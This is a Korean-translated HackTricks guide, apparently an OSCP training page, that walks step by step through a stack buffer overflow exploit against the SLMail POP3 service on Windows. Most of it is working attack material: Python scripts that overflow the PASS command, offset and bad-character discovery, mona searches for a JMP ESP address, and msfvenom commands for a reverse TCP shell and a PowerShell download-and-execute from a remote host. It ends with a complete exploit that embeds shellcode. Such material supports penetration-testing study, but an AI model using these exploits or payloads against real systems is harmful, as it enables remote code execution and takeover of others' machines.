hacktricks/reversing-and-exploiting/windows-exploiting-basic-guide-oscp-lvl.md

290 lines
11 KiB
Markdown
Raw Permalink Normal View History

2024-04-06 18:36:54 +00:00
# Windows Exploiting (Basic Guide - OSCP lvl)
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
HackTricks를 지원하는 다른 방법:
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
</details>
## **SLMail 서비스 설치 시작**
## SLMail 서비스 재시작
**SLMail 서비스를 재시작해야 할 때마다** Windows 콘솔을 사용하여 수행할 수 있습니다:
```
net start slmail
```
![](<../.gitbook/assets/image (23) (1).png>)
## 매우 기본적인 파이썬 악용 템플릿
```python
#!/usr/bin/env python3
import socket
# Set the target IP and port
target_ip = "192.168.1.10"
target_port = 1337
# Create a socket object
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# Connect to the target
s.connect((target_ip, target_port))
# Send the payload
payload = b"AAAAAABBBBBBCCCCC"
s.send(payload)
# Close the connection
s.close()
```
This is a very basic template for creating a Python exploit. It demonstrates how to create a socket object, connect to a target IP and port, send a payload, and close the connection.
To use this template, you need to set the `target_ip` and `target_port` variables to the IP address and port of your target. You can then customize the payload to suit your needs.
```python
#!/usr/bin/python
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
ip = '10.11.25.153'
port = 110
buffer = 'A' * 2700
try:
print "\nLaunching exploit..."
s.connect((ip, port))
data = s.recv(1024)
s.send('USER username' +'\r\n')
data = s.recv(1024)
s.send('PASS ' + buffer + '\r\n')
print "\nFinished!."
except:
print "Could not connect to "+ip+":"+port
```
## **Immunity Debugger 폰트 변경**
`Options >> Appearance >> Fonts >> Change(Consolas, Blod, 9) >> OK`로 이동
## **프로세스를 Immunity Debugger에 연결:**
**File --> Attach**
![](<../.gitbook/assets/image (24) (1) (1).png>)
**그리고 START 버튼을 누르세요**
## **Exploit을 보내고 EIP가 영향을 받았는지 확인하세요:**
![](<../.gitbook/assets/image (25) (1) (1).png>)
서비스를 중단할 때마다 이 페이지의 시작 부분에 나와 있는 대로 다시 시작해야 합니다.
## EIP를 수정하기 위한 패턴 생성
패턴은 이전에 서비스를 중단시키기 위해 사용한 버퍼와 같은 크기여야 합니다.
![](<../.gitbook/assets/image (26) (1) (1).png>)
```
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 3000
```
버퍼를 변경하고 패턴을 설정하고 exploit을 실행합니다.
새로운 충돌이 발생해야 하지만 EIP 주소가 다릅니다:
![](<../.gitbook/assets/image (27) (1) (1).png>)
주소가 패턴에 있는지 확인합니다:
![](<../.gitbook/assets/image (28) (1) (1).png>)
```
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 3000 -q 39694438
```
다음은 버퍼의 오프셋 2606에서 EIP를 수정할 수 있는 것 같습니다.
다음은 exploit의 버퍼를 수정하여 확인해보세요:
```
buffer = 'A'*2606 + 'BBBB' + 'CCCC'
```
이 버퍼로 EIP가 충돌하면 42424242("BBBB")로 가리켜야 합니다.
![](<../.gitbook/assets/image (30) (1) (1).png>)
![](<../.gitbook/assets/image (29) (1) (1).png>)
작동하는 것 같습니다.
## 스택 내부에서 쉘코드 공간 확인
600B는 강력한 쉘코드에 충분합니다.
버퍼를 변경해봅시다.
```
buffer = 'A'*2606 + 'BBBB' + 'C'*600
```
새로운 exploit을 실행하고 유용한 shellcode의 EBP와 길이를 확인하십시오.
![](<../.gitbook/assets/image (31) (1).png>)
![](<../.gitbook/assets/image (32) (1).png>)
취약점에 도달하면 EBP가 shellcode를 가리키고 여기에 shellcode를 배치할 공간이 많음을 볼 수 있습니다.
이 경우 **0x0209A128에서 0x0209A2D6까지 = 430B**입니다. 충분합니다.
## 나쁜 문자 확인
버퍼를 다시 변경하세요.
```
badchars = (
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
)
buffer = 'A'*2606 + 'BBBB' + badchars
```
나쁜 문자열은 대부분 나쁜 문자인 0x00부터 시작합니다.
이 새로운 버퍼로 exploit을 반복해서 실행하면서 쓸모없는 문자를 삭제하세요.
예를 들어:
이 경우 **문자 0x0A를 사용하지 않아야 합니다** (문자 0x09 이후에는 메모리에 저장되지 않음).
![](<../.gitbook/assets/image (33) (1).png>)
이 경우 **문자 0x0D를 피해야 합니다**:
![](<../.gitbook/assets/image (34) (1).png>)
## 반환 주소로 JMP ESP 찾기
사용 중인:
```
!mona modules #Get protections, look for all false except last one (Dll of SO)
```
당신은 **메모리 맵을 나열**할 것입니다. 다음과 같은 조건을 충족하는 DLL을 찾으세요:
* **Rebase: False**
* **SafeSEH: False**
* **ASLR: False**
* **NXCompat: False**
* **OS Dll: True**
![](<../.gitbook/assets/image (35) (1).png>)
이제 이 메모리 내에서 JMP ESP 바이트를 찾아야 합니다. 이를 위해 다음을 실행하세요:
```
!mona find -s "\xff\xe4" -m name_unsecure.dll # Search for opcodes insie dll space (JMP ESP)
!mona find -s "\xff\xe4" -m slmfc.dll # Example in this case
```
**그런 다음, 주소를 찾으면 어떤 나쁜 문자도 포함하지 않는 주소를 선택하십시오:**
![](<../.gitbook/assets/image (36) (1).png>)
**이 경우, 예를 들어: \_0x5f4a358f**\_
## 쉘코드 생성
```
msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.41 LPORT=443 -f c -b '\x00\x0a\x0d'
msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://10.11.0.41/nishang.ps1')\"" -f python -b '\x00\x0a\x0d'
```
만약 exploit이 작동하지 않지만 작동해야 한다면 (ImDebg로 shellcode가 도달하는 것을 확인할 수 있음), 다른 shellcode를 생성해보세요 (msfvenom은 동일한 매개변수에 대해 다른 shellcode를 생성합니다).
shellcode의 **처음에 NOPS를 추가**하고 이를 사용하여 return 주소로 JMP ESP를 수행하고 exploit을 완료하세요:
```bash
#!/usr/bin/python
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
ip = '10.11.25.153'
port = 110
shellcode = (
"\xb8\x30\x3f\x27\x0c\xdb\xda\xd9\x74\x24\xf4\x5d\x31\xc9\xb1"
"\x52\x31\x45\x12\x83\xed\xfc\x03\x75\x31\xc5\xf9\x89\xa5\x8b"
"\x02\x71\x36\xec\x8b\x94\x07\x2c\xef\xdd\x38\x9c\x7b\xb3\xb4"
"\x57\x29\x27\x4e\x15\xe6\x48\xe7\x90\xd0\x67\xf8\x89\x21\xe6"
"\x7a\xd0\x75\xc8\x43\x1b\x88\x09\x83\x46\x61\x5b\x5c\x0c\xd4"
"\x4b\xe9\x58\xe5\xe0\xa1\x4d\x6d\x15\x71\x6f\x5c\x88\x09\x36"
"\x7e\x2b\xdd\x42\x37\x33\x02\x6e\x81\xc8\xf0\x04\x10\x18\xc9"
"\xe5\xbf\x65\xe5\x17\xc1\xa2\xc2\xc7\xb4\xda\x30\x75\xcf\x19"
"\x4a\xa1\x5a\xb9\xec\x22\xfc\x65\x0c\xe6\x9b\xee\x02\x43\xef"
"\xa8\x06\x52\x3c\xc3\x33\xdf\xc3\x03\xb2\x9b\xe7\x87\x9e\x78"
"\x89\x9e\x7a\x2e\xb6\xc0\x24\x8f\x12\x8b\xc9\xc4\x2e\xd6\x85"
"\x29\x03\xe8\x55\x26\x14\x9b\x67\xe9\x8e\x33\xc4\x62\x09\xc4"
"\x2b\x59\xed\x5a\xd2\x62\x0e\x73\x11\x36\x5e\xeb\xb0\x37\x35"
"\xeb\x3d\xe2\x9a\xbb\x91\x5d\x5b\x6b\x52\x0e\x33\x61\x5d\x71"
"\x23\x8a\xb7\x1a\xce\x71\x50\x2f\x04\x79\x89\x47\x18\x79\xd8"
"\xcb\x95\x9f\xb0\xe3\xf3\x08\x2d\x9d\x59\xc2\xcc\x62\x74\xaf"
"\xcf\xe9\x7b\x50\x81\x19\xf1\x42\x76\xea\x4c\x38\xd1\xf5\x7a"
"\x54\xbd\x64\xe1\xa4\xc8\x94\xbe\xf3\x9d\x6b\xb7\x91\x33\xd5"
"\x61\x87\xc9\x83\x4a\x03\x16\x70\x54\x8a\xdb\xcc\x72\x9c\x25"
"\xcc\x3e\xc8\xf9\x9b\xe8\xa6\xbf\x75\x5b\x10\x16\x29\x35\xf4"
"\xef\x01\x86\x82\xef\x4f\x70\x6a\x41\x26\xc5\x95\x6e\xae\xc1"
"\xee\x92\x4e\x2d\x25\x17\x7e\x64\x67\x3e\x17\x21\xf2\x02\x7a"
"\xd2\x29\x40\x83\x51\xdb\x39\x70\x49\xae\x3c\x3c\xcd\x43\x4d"
"\x2d\xb8\x63\xe2\x4e\xe9"
)
buffer = 'A' * 2606 + '\x8f\x35\x4a\x5f' + "\x90" * 8 + shellcode
try:
print "\nLaunching exploit..."
s.connect((ip, port))
data = s.recv(1024)
s.send('USER username' +'\r\n')
data = s.recv(1024)
s.send('PASS ' + buffer + '\r\n')
print "\nFinished!."
except:
print "Could not connect to "+ip+":"+port
```
{% hint style="warning" %}
셸코드는 **자체를 덮어쓰는** 것이 있으므로, 셸코드 앞에 항상 일부 NOP를 추가하는 것이 중요합니다.
{% endhint %}
## 셸코드 개선하기
다음 매개변수를 추가하세요:
```
EXITFUNC=thread -e x86/shikata_ga_nai
```
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
HackTricks를 지원하는 다른 방법:
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
</details>